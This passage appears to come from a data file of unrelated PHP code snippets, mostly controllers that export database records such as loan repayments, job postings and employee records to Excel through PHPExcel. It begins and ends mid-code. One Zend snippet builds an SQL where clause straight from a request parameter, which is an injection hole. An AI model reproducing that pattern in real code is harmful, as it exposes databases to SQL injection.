__DIR__ . \"/../controllers/\";\n \n //set config for report\n $config = array(\n 'template' => $template,\n 'templateDir' => $templateDir\n );\n \n \n //load template\n $R = new PHPReport($config);\n \n $R->load(array(\n 'NEWS_ID' => 'news_paper',\n 'repeat' => TRUE,\n 'data' => $data \n )\n );\n \n // define output directoy \n $output_file_dir = \"/tmp/\";\n \n \n $output_file_excel = $output_file_dir . \"Myexcel.csv\";\n //download excel sheet with data in /tmp folder\n $result = $R->render('excel', $output_file_excel);\n }", "function export_nik_unins_lunas()\n\t{\n\t\t$excel_id=$this->uri->segment(3);\n\t\t$datas = $this->model_transaction->get_lunas_gagal($excel_id);\n\t\t\n\t\t// Create new PHPExcel object\n\t\t$objPHPExcel = $this->phpexcel;\n\t\t// Set document properties\n\t\t$objPHPExcel->getProperties()->setCreator(\"MICROFINANCE\")\n\t\t\t\t\t\t\t\t\t ->setLastModifiedBy(\"MICROFINANCE\")\n\t\t\t\t\t\t\t\t\t ->setTitle(\"Office 2007 XLSX Test Document\")\n\t\t\t\t\t\t\t\t\t ->setSubject(\"Office 2007 XLSX Test Document\")\n\t\t\t\t\t\t\t\t\t ->setDescription(\"REPORT, generated using PHP classes.\")\n\t\t\t\t\t\t\t\t\t ->setKeywords(\"REPORT\")\n\t\t\t\t\t\t\t\t\t ->setCategory(\"Test result file\");\n\t\t\t\t\t\t\t\t\t \n\t\t$objPHPExcel->setActiveSheetIndex(0); \n\t\t\n\t\t/*\n\t\t| BORDER OPTION\n\t\t*/\n\t\t$styleArray['borders']['outline']['style']=PHPExcel_Style_Border::BORDER_THIN;\n\t\t$styleArray['borders']['outline']['color']['rgb']='000000';\n\t\t/*\n\t\t| SET COLUMN WIDTH\n\t\t*/\n\t\t$objPHPExcel->getActiveSheet()->getColumnDimension('A')->setWidth(15);\n\t\t$objPHPExcel->getActiveSheet()->getColumnDimension('B')->setWidth(30);\n\n\t\t/*\n\t\t| ROW HEADER TITLE\n\t\t*/\n\t\t$row=1;\n\t\t$objPHPExcel->getActiveSheet()->setCellValue('A'.$row,\"List Pelunasan Tidak Sesuai\");\n\t\t$objPHPExcel->getActiveSheet()->getStyle('A'.$row)->getFont()->setBold(true);\n\t\t\n\t\t$row+=1;\n\t\t$objPHPExcel->getActiveSheet()->setCellValue('A'.$row,\"NIK\");\n\t\t$objPHPExcel->getActiveSheet()->setCellValue('B'.$row,\"Nama\");\n\t\t$objPHPExcel->getActiveSheet()->getStyle('A'.$row.':B'.$row)->getFont()->setBold(true);\n\t\t$objPHPExcel->getActiveSheet()->getStyle('A'.$row.':A'.$row)->applyFromArray($styleArray);\n\t\t$objPHPExcel->getActiveSheet()->getStyle('B'.$row.':B'.$row)->applyFromArray($styleArray);\n\t\t$objPHPExcel->getActiveSheet()->getStyle('A'.$row.':B'.$row)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n\t\t$row+=1;\n\t\t/*\n\t\t| ROW DATA\n\t\t*/\n\t\tfor($i=0;$i<count($datas);$i++){\n\t\t\t$objPHPExcel->getActiveSheet()->setCellValue('A'.$row,$datas[$i]['nik']);\n\t\t\t$objPHPExcel->getActiveSheet()->setCellValue('B'.$row,$datas[$i]['nama']);\n\t\t\t$objPHPExcel->getActiveSheet()->getStyle('A'.$row.':B'.$row)->getFont()->setSize(11);\n\t\t\t$row++;\n\t\t}\n\n\t\theader('Content-Type: application/vnd.openxmlformats-officedocument.spreadsheetml.sheet');\n\t\theader('Content-Disposition: attachment;filename=\"PELUNASAN TIDAK SESUAI.xlsx\"');\n\t\theader('Cache-Control: max-age=0');\n\n\t\t$objWriter = PHPExcel_IOFactory::createWriter($objPHPExcel, 'Excel2007');\n\t\t$objWriter->save('php://output');\n\t}", "public function makeComStatsExcelSheet($data)\n\t{\n\t\t/** Reading Excel with PHPExcel_IOFactory */\n\t\trequire_once 'PHPExcel/IOFactory.php';\n\n\t\t$objReader = PHPExcel_IOFactory::createReader('Excel5');\n\t\t\n\t\t// template file\n\t\t$objPHPExcel = $objReader->load(APPLICATION_PATH . '/../data/templates/com-stats-tpl.xls');\n\t}", "public function index(Request $request)\n\t{\n\t\t$datas = \\App\\Work::orderBy(\\DB::raw('updated_at, is_top'), 'desc');\n\t\tif(!is_null($request['title'])){\n\t\t\t$datas = $datas->where(\"title\", 'LIKE', '%'.$request['title'].'%');\n\t\t}\n\t\tif(!is_null($request['user_id'])){\n\t\t\t$datas = $datas->where(\"user_id\", '=', $request['user_id']);\n\t\t}\n\t\tif(!is_null($request['mobile'])){\n\t\t\t$datas = $datas->where(\"mobile\", 'LIKE', '%'.$request['mobile'].'%');\n\t\t}\n\t\t\n\t\tif(!is_null($request['excel']))\n\t\t{\t\t\t\n\t\t\t$index = 0;\n\t\t\t\\Excel::create('Excel', function($excel) use($datas, $index){\n\t\t $excel->sheet('sheet', function($sheet) use($datas, $index) {\n\t\t\t\t\t$index += 1;\n\t\t\t\t\t$sheet->row($index, array('发布人','标题','行业','工种','区域','报酬','服务时间','所需人数','发布时间','置顶'));\n\t\t\t\t\tforeach($datas->get() as $data){\n\t\t\t\t\t\t$index += 1;\n\t\t\t\t\t\t$user_name = is_null($data->user) ? '' : $data->user->name;\n\t\t\t\t\t\t$title = $data->title;\n\t\t\t\t\t\t$industry_name = $data->industry_name;\n\t\t\t\t\t\t$category_name = $data->work_category_name;\n\t\t\t\t\t\t$area_name = $data->area_name;\n\t\t\t\t\t\t$price = $data->price;\n\t\t\t\t\t\t$date = null;\n\t\t\t\t\t\tif(isset($data->start_at) || isset($data->end_at))\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$date = date('Y-m-d', strtotime($data->start_at));\n\t\t\t\t\t\t\t$date .= \" - \";\n\t\t\t\t\t\t\t$date .= date('Y-m-d', strtotime($data->end_at));\n\t\t\t\t\t\t}\n\t\t\t\t\t\telse\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$date = \"长期\";\n\t\t\t\t\t\t}\n\t\t\t\t\t\t$people_number = $data->people_number;\n\t\t\t\t\t\t$created_at = $data->created_at;\n\t\t\t\t\t\t$is_top = $data->is_top == true ? '是' : '否';\n\t\t\t\t\t\t\n \t$sheet->row($index, array($user_name, $title, $industry_name, $category_name, $area_name, $price, $date, $people_number, $created_at, $is_top));\n }\n\t\t });\n\t\t\t})->export('xls');\n\t\t}\n\t\telse\n\t\t{\n\t\t\t$datas = $datas->paginate(11);\n\t\t\treturn view('admin.works.index')->with('datas', $datas);\t\n\t\t}\n\t}", "function getFieldSummaryDatastoreAction()\n {\n $this->_helper->viewRenderer->setNoRender(); \n \n //get selected project\n $dataTableName = $_REQUEST['dataTableName'];\n $this->autoClassify($dataTableName);\n\n Zend_Loader::loadClass('Layout_DataGridHelper');\n Zend_Loader::loadClass('Table_FieldSummary');\n $dgHelper = new Layout_DataGridHelper();\n \n //1. set data records:\n $fieldSummaryTable = new Table_FieldSummary();\n $whereClause = (\"source_id = '\" . $dataTableName . \"'\");\n $rows = $fieldSummaryTable->fetchAll($whereClause, \"field_num ASC\");\n $dgHelper->setDataRecords($rows, \"pk_field\");\n \n //2. define a layout:\n //2.a). get field types:\n Zend_Loader::loadClass('Table_FieldType');\n $fieldTypesTable = new Table_FieldType();\n $rows = $fieldTypesTable->fetchAll();\n $fieldOptions = array();\n $i = 0;\n foreach ($rows as $row) \n {\n $fieldOptions[$i] = $row->FIELD_TYPE_NAME;\n ++$i;\n } \n \n //2.b) get property types:\n Zend_Loader::loadClass('Table_PropertyType');\n $fieldPropsTable = new Table_PropertyType();\n $rows = $fieldPropsTable->fetchAll();\n $propOptions = array();\n $propOptions[0] = \"\";\n $i = 1;\n foreach ($rows as $row) \n {\n $propOptions[$i] = $row->NAME;\n ++$i;\n } \n \n //2.c)\n $layout = array(); \n array_push($layout, array(\n 'field' => 'field_label',\n 'name' => 'Field Label',\n 'width' => '100px',\n 'editable' => true\n ));\n array_push($layout, array(\n 'field' => 'field_type',\n 'name' => 'Field Type',\n 'width' => '100px',\n 'type' => 'dojox.grid.cells.Select',\n 'cellType' => 'dojox.grid.cells.Bool',\n 'options' => $fieldOptions,\n 'editable' => true\n ));\n array_push($layout, array(\n 'field' => 'prop_desc',\n 'name' => 'Field Description',\n 'width' => '150px',\n 'editable' => true\n //'editor' => 'dojox.grid.editors.Dijit',\n //'editorClass' => 'dijit.form.Textarea'\n ));\n array_push($layout, array(\n 'field' => 'prop_type',\n 'name' => 'Property Type',\n 'width' => '80px',\n 'type' => 'dojox.grid.cells.Select',\n 'options' => $propOptions,\n 'editable' => true\n ));\n\n $dgHelper->layout = $layout;\n header('Content-Type: application/json; charset=utf8');\n echo Zend_Json::encode($dgHelper);\n }", "public function export()\n {\n include APPPATH . 'third_party/PHPExcel.php';\n\n // Panggil class PHPExcel nya\n $excel = new PHPExcel();\n\n date_default_timezone_set('Asia/Jakarta');\n $date = date(\"mY\");\n\n // Settingan awal fil excel\n $excel->getProperties()->setCreator('Admin PTPN VIII (' .$this->session->userdata('status_login'). ')')\n ->setLastModifiedBy('Admin PTPN VIII (' .$this->session->userdata('status_login'). ')')\n ->setTitle(\"Data A1\" .$date)\n ->setSubject(\"A1\" .$date)\n ->setDescription(\"Laporan Data A1\" .$date)\n ->setKeywords(\"Data A1\" .$date);\n\n // Buat sebuah variabel untuk menampung pengaturan style dari header tabel\n $style_col = array(\n 'font' => array('bold' => true), // Set font nya jadi bold\n 'alignment' => array(\n 'horizontal' => PHPExcel_Style_Alignment::HORIZONTAL_CENTER, // Set text jadi ditengah secara horizontal (center)\n 'vertical' => PHPExcel_Style_Alignment::VERTICAL_CENTER // Set text jadi di tengah secara vertical (middle)\n ),\n 'borders' => array(\n 'top' => array('style' => PHPExcel_Style_Border::BORDER_THIN), // Set border top dengan garis tipis\n 'right' => array('style' => PHPExcel_Style_Border::BORDER_THIN), // Set border right dengan garis tipis\n 'bottom' => array('style' => PHPExcel_Style_Border::BORDER_THIN), // Set border bottom dengan garis tipis\n 'left' => array('style' => PHPExcel_Style_Border::BORDER_THIN) // Set border left dengan garis tipis\n )\n );\n // Buat sebuah variabel untuk menampung pengaturan style dari isi tabel\n $style_row = array(\n 'alignment' => array(\n 'vertical' => PHPExcel_Style_Alignment::VERTICAL_CENTER // Set text jadi di tengah secara vertical (middle)\n ),\n 'borders' => array(\n 'top' => array('style' => PHPExcel_Style_Border::BORDER_THIN), // Set border top dengan garis tipis\n 'right' => array('style' => PHPExcel_Style_Border::BORDER_THIN), // Set border right dengan garis tipis\n 'bottom' => array('style' => PHPExcel_Style_Border::BORDER_THIN), // Set border bottom dengan garis tipis\n 'left' => array('style' => PHPExcel_Style_Border::BORDER_THIN) // Set border left dengan garis tipis\n )\n );\n\n // Buat header tabel nya pada baris ke 1\n $excel->setActiveSheetIndex(0)->setCellValue('A1', \"NPP\");\n $excel->setActiveSheetIndex(0)->setCellValue('B1', \"NAMA\");\n $excel->setActiveSheetIndex(0)->setCellValue('C1', \"NM_PGL\");\n $excel->setActiveSheetIndex(0)->setCellValue('D1', \"GLR_DPN\");\n $excel->setActiveSheetIndex(0)->setCellValue('E1', \"GLR_BLK\");\n $excel->setActiveSheetIndex(0)->setCellValue('F1', \"TPT_LAHIR\");\n $excel->setActiveSheetIndex(0)->setCellValue('G1', \"TGL_LAHIR\");\n $excel->setActiveSheetIndex(0)->setCellValue('H1', \"KELAMIN\");\n $excel->setActiveSheetIndex(0)->setCellValue('I1', \"GOL_DARAH\");\n $excel->setActiveSheetIndex(0)->setCellValue('J1', \"AGAMA\");\n $excel->setActiveSheetIndex(0)->setCellValue('K1', \"ALAMAT\");\n $excel->setActiveSheetIndex(0)->setCellValue('L1', \"KOTA\");\n $excel->setActiveSheetIndex(0)->setCellValue('M1', \"TINGGAL\");\n $excel->setActiveSheetIndex(0)->setCellValue('N1', \"SIPIL\");\n $excel->setActiveSheetIndex(0)->setCellValue('O1', \"STAT_IS\");\n $excel->setActiveSheetIndex(0)->setCellValue('P1', \"TGL_NIKAH\");\n $excel->setActiveSheetIndex(0)->setCellValue('Q1', \"TGL_CERAI\");\n $excel->setActiveSheetIndex(0)->setCellValue('R1', \"KANDUNG\");\n $excel->setActiveSheetIndex(0)->setCellValue('S1', \"ANGKAT\");\n $excel->setActiveSheetIndex(0)->setCellValue('T1', \"TANGGUNG\");\n $excel->setActiveSheetIndex(0)->setCellValue('U1', \"TGL_PPH\");\n $excel->setActiveSheetIndex(0)->setCellValue('V1', \"KD_PEND\");\n $excel->setActiveSheetIndex(0)->setCellValue('W1', \"TGL_SK\");\n $excel->setActiveSheetIndex(0)->setCellValue('X1', \"NO_SK\");\n $excel->setActiveSheetIndex(0)->setCellValue('Y1', \"KD_KELAS\");\n $excel->setActiveSheetIndex(0)->setCellValue('Z1', \"KLS_TMT\");\n $excel->setActiveSheetIndex(0)->setCellValue('AA1', \"KLS_SK\");\n $excel->setActiveSheetIndex(0)->setCellValue('AB1', \"GOL\");\n $excel->setActiveSheetIndex(0)->setCellValue('AC1', \"MK\");\n $excel->setActiveSheetIndex(0)->setCellValue('AD1', \"GOL_TMT\");\n $excel->setActiveSheetIndex(0)->setCellValue('AE1', \"GOL_SK\");\n $excel->setActiveSheetIndex(0)->setCellValue('AF1', \"GPO\");\n $excel->setActiveSheetIndex(0)->setCellValue('AG1', \"KD_KBN\");\n $excel->setActiveSheetIndex(0)->setCellValue('AH1', \"KD_ADF\");\n $excel->setActiveSheetIndex(0)->setCellValue('AI1', \"KD_JAB\");\n $excel->setActiveSheetIndex(0)->setCellValue('AJ1', \"NAMA_JAB\");\n $excel->setActiveSheetIndex(0)->setCellValue('AK1', \"KD_BUD\");\n $excel->setActiveSheetIndex(0)->setCellValue('AL1', \"JAB_TMT\");\n $excel->setActiveSheetIndex(0)->setCellValue('AM1', \"JAB_SK\");\n $excel->setActiveSheetIndex(0)->setCellValue('AN1', \"JAB_TGL\");\n $excel->setActiveSheetIndex(0)->setCellValue('AO1', \"ASTEK\");\n $excel->setActiveSheetIndex(0)->setCellValue('AP1', \"TASPEN\");\n $excel->setActiveSheetIndex(0)->setCellValue('AQ1', \"NO_KK\");\n $excel->setActiveSheetIndex(0)->setCellValue('AR1', \"NO_NIK\");\n $excel->setActiveSheetIndex(0)->setCellValue('AS1', \"NO_BPJS\");\n $excel->setActiveSheetIndex(0)->setCellValue('AT1', \"TGL_MPP\");\n $excel->setActiveSheetIndex(0)->setCellValue('AU1', \"TGL_PEN\");\n $excel->setActiveSheetIndex(0)->setCellValue('AV1', \"MKTHN\");\n $excel->setActiveSheetIndex(0)->setCellValue('AW1', \"MKBLN\");\n $excel->setActiveSheetIndex(0)->setCellValue('AX1', \"MKHR\");\n $excel->setActiveSheetIndex(0)->setCellValue('AY1', \"MPP\");\n $excel->setActiveSheetIndex(0)->setCellValue('AZ1', \"STAT_REC\");\n\n // Apply style header yang telah kita buat tadi ke masing-masing kolom header\n $excel->getActiveSheet()->getStyle('A1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('B1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('C1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('D1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('E1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('F1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('G1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('H1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('I1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('J1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('K1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('L1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('M1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('N1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('O1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('P1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_DATE_DDMMYYYY);\n $excel->getActiveSheet()->getStyle('Q1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_DATE_DDMMYYYY);\n $excel->getActiveSheet()->getStyle('R1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('S1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('T1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('U1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('V1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('W1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('X1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('Y1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('Z1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AA1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AB1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AC1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AD1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AE1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AF1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AG1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AH1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AI1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AJ1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AK1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AL1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AM1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AN1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AO1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AP1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AQ1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AR1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AS1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AT1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AU1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AV1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AW1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AX1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AY1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AZ1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n\n // Menampilkan semua data dari tabel rekao A1\n $numrow = 2; // Set baris pertama untuk isi tabel adalah baris ke 2\n $sdm01 = $this->Model_admin->tampil_a1();\n foreach ($sdm01->result_array() as $i) { // Lakukan looping pada variabel siswa\n $excel->setActiveSheetIndex(0)->setCellValueExplicit('A' . $numrow, $i['npp'], PHPExcel_Cell_DataType::TYPE_STRING);\n $excel->setActiveSheetIndex(0)->setCellValue('B' . $numrow, $i['nama']);\n $excel->setActiveSheetIndex(0)->setCellValue('C' . $numrow, $i['nm_pgl']);\n $excel->setActiveSheetIndex(0)->setCellValue('D' . $numrow, $i['glr_dpn']);\n $excel->setActiveSheetIndex(0)->setCellValue('E' . $numrow, $i['glr_blk']);\n $excel->setActiveSheetIndex(0)->setCellValue('F' . $numrow, $i['kota_lhr']);\n $excel->setActiveSheetIndex(0)->setCellValue('G' . $numrow, date('d-m-Y', strtotime($i['tgl_lhr'])));\n $excel->setActiveSheetIndex(0)->setCellValue('H' . $numrow, $i['j_kelamin']);\n $excel->setActiveSheetIndex(0)->setCellValue('I' . $numrow, $i['gol_darah']);\n $excel->setActiveSheetIndex(0)->setCellValue('J' . $numrow, $i['agama']);\n $excel->setActiveSheetIndex(0)->setCellValue('K' . $numrow, $i['alamat_tgl']);\n $excel->setActiveSheetIndex(0)->setCellValue('L' . $numrow, '');\n $excel->setActiveSheetIndex(0)->setCellValue('M' . $numrow, '1');\n $excel->setActiveSheetIndex(0)->setCellValue('N' . $numrow, $i['st_sipil']);\n\n $sdm02 = $this->Model_admin->get_sdm02_a1($i['npp']);\n foreach ($sdm02 as $a) {\n\n $excel->setActiveSheetIndex(0)->setCellValue('O' . $numrow, '');\n $excel->setActiveSheetIndex(0)->setCellValue('P' . $numrow, date('d-m-Y', strtotime($a['tgl_nkh'])));\n $excel->setActiveSheetIndex(0)->setCellValue('Q' . $numrow, date('d-m-Y', strtotime($a['tgl_cerai'])));\n }\n\n $sdm02 = $this->Model_admin->get_sdm02_a1_anak($i['npp']);\n foreach ($sdm02 as $b) {\n $excel->setActiveSheetIndex(0)->setCellValue('R' . $numrow, '');\n $excel->setActiveSheetIndex(0)->setCellValue('S' . $numrow, '');\n $excel->setActiveSheetIndex(0)->setCellValue('T' . $numrow, $b['tanggungan']);\n $excel->setActiveSheetIndex(0)->setCellValue('U' . $numrow, '');\n }\n\n $sdm03 = $this->Model_admin->get_sdm03_a1($i['npp']);\n foreach ($sdm03 as $c) {\n $excel->setActiveSheetIndex(0)->setCellValueExplicit('V' . $numrow, $c['kd_pend'], PHPExcel_Cell_DataType::TYPE_STRING);\n }\n\n $excel->setActiveSheetIndex(0)->setCellValue('W' . $numrow, date('d-m-Y', strtotime($i['tgl_masuk'])));\n\n $sdm08 = $this->Model_admin->get_sdm08_a1($i['npp']);\n foreach ($sdm08 as $d) {\n\n $excel->setActiveSheetIndex(0)->setCellValue('X' . $numrow, $d['no_sk']);\n }\n\n $sdm16 = $this->Model_admin->get_sdm16_a1($i['npp']);\n foreach ($sdm16 as $e) {\n $excel->setActiveSheetIndex(0)->setCellValue('Y' . $numrow, $e['kd_kelas']);\n $excel->setActiveSheetIndex(0)->setCellValue('Z' . $numrow, date('d-m-Y', strtotime($e['kls_tmt'])));\n $excel->setActiveSheetIndex(0)->setCellValue('AA' . $numrow, $e['kls_sk']);\n }\n\n $sdm16 = $this->Model_admin->get_sdm16_a1_akhir($i['npp']);\n foreach ($sdm16 as $a) {\n $excel->setActiveSheetIndex(0)->setCellValueExplicit('AB' . $numrow, $a['golongan'], PHPExcel_Cell_DataType::TYPE_STRING);\n $excel->setActiveSheetIndex(0)->setCellValueExplicit('AC' . $numrow, $a['mk'], PHPExcel_Cell_DataType::TYPE_STRING);\n $excel->setActiveSheetIndex(0)->setCellValue('AD' . $numrow, date('d-m-Y', strtotime($a['gol_tmt'])));\n $excel->setActiveSheetIndex(0)->setCellValue('AE' . $numrow, $a['gol_sk']);\n $excel->setActiveSheetIndex(0)->setCellValue('AF' . $numrow, '');\n }\n\n $sdm08 = $this->Model_admin->get_sdm08_a1_akhir($i['npp']);\n foreach ($sdm08 as $a) {\n $excel->setActiveSheetIndex(0)->setCellValueExplicit('AG' . $numrow, $a['kd_kbn'], PHPExcel_Cell_DataType::TYPE_STRING);\n $excel->setActiveSheetIndex(0)->setCellValueExplicit('AH' . $numrow, $a['kd_adf'], PHPExcel_Cell_DataType::TYPE_STRING);\n $excel->setActiveSheetIndex(0)->setCellValueExplicit('AI' . $numrow, $a['kd_jab'], PHPExcel_Cell_DataType::TYPE_STRING);\n\n $jab = $this->Model_admin->get_jabatan($a['kd_jab']);\n foreach ($jab as $jab) {\n $excel->setActiveSheetIndex(0)->setCellValue('AJ' . $numrow, $jab['nama']);\n }\n\n $excel->setActiveSheetIndex(0)->setCellValueExplicit('AK' . $numrow, $a['kd_bud'], PHPExcel_Cell_DataType::TYPE_STRING);\n $excel->setActiveSheetIndex(0)->setCellValue('AL' . $numrow, date('d-m-Y', strtotime($a['jab_tmt'])));\n $excel->setActiveSheetIndex(0)->setCellValue('AM' . $numrow, $a['jab_sk']);\n $excel->setActiveSheetIndex(0)->setCellValue('AN' . $numrow, date('d-m-Y', strtotime($a['jab_tgl'])));\n }\n\n\n $excel->setActiveSheetIndex(0)->setCellValueExplicit('AO' . $numrow, $i['no_astek'], PHPExcel_Cell_DataType::TYPE_STRING);\n $excel->setActiveSheetIndex(0)->setCellValueExplicit('AP' . $numrow, $i['no_pens'], PHPExcel_Cell_DataType::TYPE_STRING);\n $excel->setActiveSheetIndex(0)->setCellValueExplicit('AQ' . $numrow, $i['no_kk'], PHPExcel_Cell_DataType::TYPE_STRING);\n $excel->setActiveSheetIndex(0)->setCellValueExplicit('AR' . $numrow, $i['no_nik'], PHPExcel_Cell_DataType::TYPE_STRING);\n $excel->setActiveSheetIndex(0)->setCellValueExplicit('AS' . $numrow, $i['no_bpjs'], PHPExcel_Cell_DataType::TYPE_STRING);\n\n $sdm16 = $this->Model_admin->get_sdm16_a1_akhir($i['npp']);\n $golongan = $sdm16[0]['golongan'];\n $golongan = (int)$golongan;\n if ($golongan >= 0 and $golongan <= 8) {\n $tgl_pen = date('Y-m-d', strtotime('+55 year +1 month', strtotime($i['tgl_lhr'])));\n $tgl_mpp = date('Y-m-d', strtotime('-6 month', strtotime($tgl_pen)));\n 